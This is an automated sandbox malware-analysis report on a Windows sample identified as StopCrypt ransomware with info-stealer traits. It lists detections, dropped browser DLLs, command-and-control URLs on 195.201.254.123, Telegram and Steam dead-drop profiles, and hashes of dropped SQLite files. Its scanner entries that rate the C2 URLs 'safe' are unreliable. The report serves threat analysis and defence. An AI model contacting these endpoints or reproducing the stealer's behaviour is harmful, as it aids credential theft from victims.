Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	66%	ReversingLabs	Win32.Ransomware.StopCrypt
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://mozilla.org0/	0%	URL Reputation	safe
http://195.201.254.123:6012/sp1.zip	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/sCodecs.dlls	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/m	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/Mu	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/0	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93k	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/sp1.zipn)	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
t.me	149.154.167.99	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://195.201.254.123:6012/sp1.zip	false	Avira URL Cloud: safe	unknown
http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199545993403	false		high
http://195.201.254.123:6012/	false	Avira URL Cloud: safe	unknown
https://t.me/vogogor	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	false		high
https://t.me/	file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/vogogorx	file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	false		high
https://t.me/vogogorv	file.exe, 00000001.00000002.3707864447.000000000464E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://195.201.254.123:6012/Mu	file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.201.254.123:6012/sCodecs.dlls	file.exe, 00000001.00000002.3723888260.0000000004C90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	false		high
https://www.google.com/chrome/thank-you.html?statcb=1&installdataindex=empty&defaultbrowser=0	file.exe, 00000001.00000002.3730149645.000000001198E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1564532439.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, 38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	false		high
http://195.201.254.123:6012/0	file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.autoitscript.com/files/autoit3/autoit-v3-setup.zipQ	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u321-b07/df5ad55fdd604472a86a45a217032c7d/jre-8u321-wind	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://t.me/vogogorracvotsp1.zipMozilla/5.0	file.exe, 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/	93702365600485792059963927.1.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	false		high
https://t.me/vogogorL	file.exe, 00000001.00000002.3707864447.000000000464E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dmicrosoft%26oq%3Dmic	05817041688375942296226764.1.dr	false		high
https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j0i131i433i512j0i512j0i131i433i512l2j0	05817041688375942296226764.1.dr	false		high
https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://steamcommunity.com/profiles/76561199545993403update.zip	file.exe, 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/https://www.google.com/chrome/Thu	file.exe, 00000001.00000003.1565422518.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, 38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	false		high
https://www.google.com/search?q=microsoft&oq=microsoft&gs_lcrp=EgZjaHJvbWUqEAgAEAAYgwEY4wIYsQMYgAQyE	05817041688375942296226764.1.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000001.00000002.3730836231.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/search?q=microsoft&sourceid=chrome&ie=UTF-8microsoft	05817041688375942296226764.1.dr	false		high
http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93k	file.exe, 00000001.00000002.3707864447.0000000004670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.1.dr	false		high
https://aka.ms/vs/17/release/vc_redist.x64.exeD	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://mozilla.org0/	file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	00440746450577075373182215.1.dr, 59242670612831660624168672.1.dr	false		high
https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245807_df5ad55fdd604472a86a45a217032c7dM	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
http://195.201.254.123:6012/sp1.zipn)	file.exe, 00000001.00000002.3698626677.00000000025E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	false		high
https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.zip	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://www.google.com/search?q=test&sourceid=chrome&ie=UTF-8test	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
http://195.201.254.123:6012/m	file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr	false		high
https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B27E81B29	38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	false		high
https://support.mozilla.org/products/firefox	file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/thank-you.html?statcb=1&installdataindex=empty&defaultbrowser=0Google	93702365600485792059963927.1.dr	false		high
https://www.google.com/favicon.ico	60379239670748708072323449.1.dr	false		high
https://ac.ecosia.org/autocomplete?q=	60379239670748708072323449.1.dr	false		high
https://www.autoitscript.com/site/autoit/downloads/	file.exe, 00000001.00000003.1536347021.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729994076.000000001157C000.00000004.00000020.00020000.00000000.sdmp, 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://www.google.com/chrome/Google	93702365600485792059963927.1.dr	false		high
https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/Sun	05817041688375942296226764.1.dr	false		high
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a	05817041688375942296226764.1.dr	false		high
https://support.mozilla.org	77364074545019038892817732.1.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	60379239670748708072323449.1.dr	false		high
https://www.google.com/search?q=microsoft&sourceid=chrome&ie=UTF-8microsoftt	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.	file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	false		high
https://cdn.stubdownloader.services.mozilla.com/builds/firefox-stub/en-US/win/4b14f052f39ceffb32abd8	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.99	t.me	United Kingdom		62041	TELEGRAMRU	false
195.201.254.123	unknown	Germany		24940	HETZNER-ASDE	false

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1301138
Start date and time:	2023-08-31 16:49:14 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10, Office Professional Plus 2016, Chrome 115, Firefox 115, Adobe Reader 23, Java 8 Update 381
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@1/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 1.4% (good quality ratio 1.1%) Quality average: 51.5% Quality standard deviation: 39.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 105 Number of non-executed functions: 70
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): cp501.prod.do.dsp.mp.microsoft.com, www.bing.com, geover.prod.do.dsp.mp.microsoft.com, client.wns.windows.com, fs.microsoft.com, slscr.update.microsoft.com, login.live.com, disc501.prod.do.dsp.mp.microsoft.com, array510.prod.do.dsp.mp.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:50:56	API Interceptor	1x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.99	KeyboardRGB.exe	Get hash	malicious	Unknown	Browse	t.me/cinoshibot
	file.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	W6qKnnjMEi	Get hash	malicious	Anubis	Browse	t.me/jhzljkhbsdklzjdlkzj281679827sjah
	snfstBXgxa	Get hash	malicious	Anubis	Browse	t.me/cui8txvnmv

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	Q7APbSqqsC.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, RedLine, SmokeLoader	Browse	149.154.167.99
	download (21).vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	download (20).vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	download (18).vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	download (17).vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	cQR4fkJcCk.exe	Get hash	malicious	Amadey, LummaC Stealer, Mystic Stealer, RedLine, SmokeLoader	Browse	149.154.167.99
	0mp7o7ZR8A.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RedLine, SmokeLoader	Browse	149.154.167.99
	H2xW8X8lKj.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RedLine, SmokeLoader	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Glupteba, PrivateLoader, SmokeLoader, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	1.bin.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	2.bin.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	mh7jJjANa6.exe	Get hash	malicious	Djvu, RedLine, SmokeLoader	Browse	149.154.167.99
	tnT41YJaPW.exe	Get hash	malicious	LimeRAT, AsyncRAT, DcRat, Eternity Stealer, RedLine, zgRAT	Browse	149.154.167.99
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	149.154.167.99
	tDkUqzi4PG.exe	Get hash	malicious	AgentTesla, Amadey, AsyncRAT, Fabookie, Lokibot, LummaC Stealer, RHADAMANTHYS	Browse	149.154.167.99
	Payment INV09187632.eml	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	RedLine, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	file.exe	Get hash	malicious	Fabookie, Glupteba, PrivateLoader, RedLine, RisePro Stealer	Browse	149.154.167.99
	mods.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	Purchase_Order_from_SABO_S.A.pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Cseqnmh.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	7E8BlmnQXD.exe	Get hash	malicious	Gurcu Stealer	Browse	149.154.167.220
	anBi1ydqra.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	4ubc4EyPj4.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	t1aKQS1iLx.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	Uecqyndauhl.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Lsgvg.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Factura_1012123.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	download (21).vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	download (20).vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	download (18).vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	Invoice#1012_.txt	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.Siggen19.36002.3443.8527.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	149.154.167.220
	K1wEC5xsnP.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	yfySrYMRO8.exe	Get hash	malicious	PrivateLoader, RedLine	Browse	149.154.167.99
	w77T7XgLqj.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.14895.4336.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	file.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	Update (1).js	Get hash	malicious	Unknown	Browse	149.154.167.99
	Update (1).js	Get hash	malicious	Unknown	Browse	149.154.167.99
	Update (1).js	Get hash	malicious	Unknown	Browse	149.154.167.99
	3aozIqw1Hq.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	3aozIqw1Hq.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	Chr%D0%BEm%D0%B5S%D0%B5tu%D1%80.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	facnuevassimmarzo.msi	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	file.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	5283079616_INV_SZV_WJG_001_20230830_180210.exe	Get hash	malicious	GuLoader	Browse	149.154.167.99
	BRIDGE_POLYMERS_POLSKA_23085571.exe	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.99
	YJogOmgqrB.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	EdvbTCqc3O.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	YJogOmgqrB.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	EdvbTCqc3O.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	Fiyat_Talebi_Ticari_liste.exe	Get hash	malicious	GuLoader	Browse	149.154.167.99
	file.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	OvtmYS2gjc.exe	Get hash	malicious	Stealc, Vidar	Browse
	SYhG3acOR9.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse
	V6MYxI3w7I.exe	Get hash	malicious	Vidar	Browse
	UHmuY0rk3K.exe	Get hash	malicious	Vidar	Browse
	fx_4.7.3.exe	Get hash	malicious	Stealc, Vidar	Browse
	fx_7.4.1.exe	Get hash	malicious	Stealc, Vidar	Browse
	137L8qCnGk.exe	Get hash	malicious	Amadey, RedLine, SmokeLoader, Vidar	Browse
	0acR8HLrwO.exe	Get hash	malicious	Vidar	Browse
	ChatGPT_3.1.48.exe	Get hash	malicious	Stealc, Vidar	Browse
	file_resized.exe	Get hash	malicious	Amadey, Fabookie, Nymaim, PrivateLoader, RedLine, SmokeLoader, Stealc	Browse
	malware.exe	Get hash	malicious	Amadey, Fabookie, Nymaim, PrivateLoader, RedLine, SmokeLoader, Tofsee	Browse
	J9TgDYgZTm.msi	Get hash	malicious	Stealc	Browse
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Fabookie, ManusCrypt, Nymaim, RHADAMANTHYS, RedLine, Socelars, Vidar	Browse
	am82bSh54P.msi	Get hash	malicious	Vidar	Browse
	5vFmrtS9Q3.msi	Get hash	malicious	Vidar	Browse
	wvleLeMUMz.msi	Get hash	malicious	Vidar	Browse
	f3ozLXh4qy.msi	Get hash	malicious	Vidar	Browse
	synapse3.zip	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\00440746450577075373182215

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, page size 2048, file counter 6, database pages 53, cookie 0x22, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	110592
Entropy (8bit):	1.103154063201814
Encrypted:	false
SSDEEP:	192:GLKnLLJFXH92HbG9mTjwnWxDnP1r6TVum:CKXJF392OnsDnRyVum
MD5:	A7888E78317DB24AF1E57A1E76360A05
SHA1:	350BC0A9A062F2290D8E41D17CACE4B49833918C
SHA-256:	34553CD7235802E2D02A4B1614D4C468E220377771CC7CB1A3F4D89580158534
SHA-512:	B705C5B67A2B294EB2951D19863F1FA729CE560C00378509D52AFDCBFAB824D754E32B013AB1318C17E9BC66B584471BFC01362A2BD3002AB3C388336ECD03BA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......5..........."......................................................K............*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\05817041688375942296226764

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, file counter 9, database pages 43, 1st free page 42, free pages 2, cookie 0x3f, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1974772984231898
Encrypted:	false
SSDEEP:	768:i99HO2V93qjTU6SwO3mFthT1RTt61Y6UTD6rT19TC61276:i9vj6SwO3mFLT/TEzUTGrT7Tr1
MD5:	C6DC96A2E44E44C2935599EED3825093
SHA1:	37BD985F5AF5FBB1D78B4E32E9C8A3965296EE01
SHA-256:	44E5DFBBF36F186126F7AAA8DF09475D5A5C259F3918DCBED8E29A918DBB479C
SHA-512:	3236C33C7447BF74DDE20B12A41DCCF2D2DBFE30557D8369F3EDE0DC9130B3FE3F4ABB055855EB97E150DE3AF0F2131E7DD9BCD760DA68F5BBEE55FDFAB2BAD4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......+...*.......?......................................................f.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\22428703343438507335441715

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3037002, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	524288
Entropy (8bit):	0.032592440528298426
Encrypted:	false
SSDEEP:	24:DQAVzff32mNVpP965Ra8KN0MG/lEKDIH5UMJKvuVKuQctWHB6Ox:DQM9rhvWTJcUOHhF
MD5:	16E2B74FCB83C62360F0E1A06C722FB8
SHA1:	D1450274E08468E3A650BE5D9E1086968CA234FE
SHA-256:	5FE70426BBB99C3D03AB2C33429FFFCE6F95B41073F45C918534A126708CE516
SHA-512:	AA47F896592296441ED00BC3C16737026E1FBA508D5EE038C1C2E535165ED14AFC8FBF49509FBDC87AFD1BF9005B2DDE7A5442173888767D3A8B05A334593026
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................WJ.....}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\22428703343438507335441715-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\30562671907380543272507388

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, file counter 9, database pages 43, 1st free page 42, free pages 2, cookie 0x3f, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1974772984231898
Encrypted:	false
SSDEEP:	768:i99HO2V93qjTU6SwO3mFthT1RTt61Y6UTD6rT19TC61276:i9vj6SwO3mFLT/TEzUTGrT7Tr1
MD5:	C6DC96A2E44E44C2935599EED3825093
SHA1:	37BD985F5AF5FBB1D78B4E32E9C8A3965296EE01
SHA-256:	44E5DFBBF36F186126F7AAA8DF09475D5A5C259F3918DCBED8E29A918DBB479C
SHA-512:	3236C33C7447BF74DDE20B12A41DCCF2D2DBFE30557D8369F3EDE0DC9130B3FE3F4ABB055855EB97E150DE3AF0F2131E7DD9BCD760DA68F5BBEE55FDFAB2BAD4
Malicious:	false
Preview:	SQLite format 3......@ .......+...*.......?......................................................f.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\35746121865178509047716708

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, page size 2048, file counter 2, database pages 23, cookie 0xd, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7621373211432615
Encrypted:	false
SSDEEP:	48:53oBA+IIH2KLk8s8LKvUf9KVyJ7h/ICVEq8MX0D0HSFlNUKxK3f3lGNxotkGY:tYMKLyeymwxCn8MZyFldK3PlGNxotk
MD5:	6F5AAE47EB95404578CBC4AB886A1214
SHA1:	3AC370895A57F1DB1BC96B8BB81BB70DD6872BD5
SHA-256:	376C5828CE6104EC467A4F29E30151DED0FCDF7BF14239E2D97661061A226E00
SHA-512:	891CA3343DEBEB3CE7419CBE4D021DE59A02986F0EADA64E07E72B40D7515F2D962B90A2C01FB0D997275C1382BE2E1ABBF517DF3AFA530B02894C4160530B02
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................K.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\37707990510604932654966133

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, page size 2048, file counter 7, database pages 57, cookie 0x30, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	1.202433056168029
Encrypted:	false
SSDEEP:	192:8mEcY8dBLH95TkVb39nJnieheVuKht6jTAs5u:8JcYiBz9EJnieheVuK7u0s8
MD5:	1D1D49B9691A566CD1923A0929480A3D
SHA1:	93976FCE24A3C1F8ECED9E2516BD775215AA5834
SHA-256:	FE23175F9F3E20359907D9A10FC3A7210F4D60096EA38A1AD2CBC86AAE015ABC
SHA-512:	3B6B31D164CB51C9B6740D82BEA21EB66E30B7E7AF0672B0AB1A7C860FB9FA81D7FFC651BE93BDD5AC76AE4191C6C3402F835F8D6FA807ECF005EA5CE6A856D3
Malicious:	false
Preview:	SQLite format 3......@ .......9...........0......................................................f............6........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\38345013959471306846242542

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, file counter 5, database pages 29, cookie 0x16, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.8330799750773747
Encrypted:	false
SSDEEP:	192:5A6DwbHq260V37/+bDo3irhnydVj3XBBE3uEUM:5AvHMi37wU3iVy/BBE3ulM
MD5:	5B8792E38274088A888A41F4AE3709EB
SHA1:	102DCDBAF4DDB1E3E37859EC1EDD1C788D75AF11
SHA-256:	090F856C8BD32598418336550AE669A11D44B9498FD7DDA794460D8B08F55515
SHA-512:	5B57092076CAFDECE39018B47DC6899F4D4F53E3EFD710AB471B00E0DE477E26868145C389E6841A5AC7840F9968FABF97AA5459520F51C6EA36EC71C8E089C5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................K.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\41854390081158473842695081

Download File

Process:	C:\Users\user\Desktop\file.exe
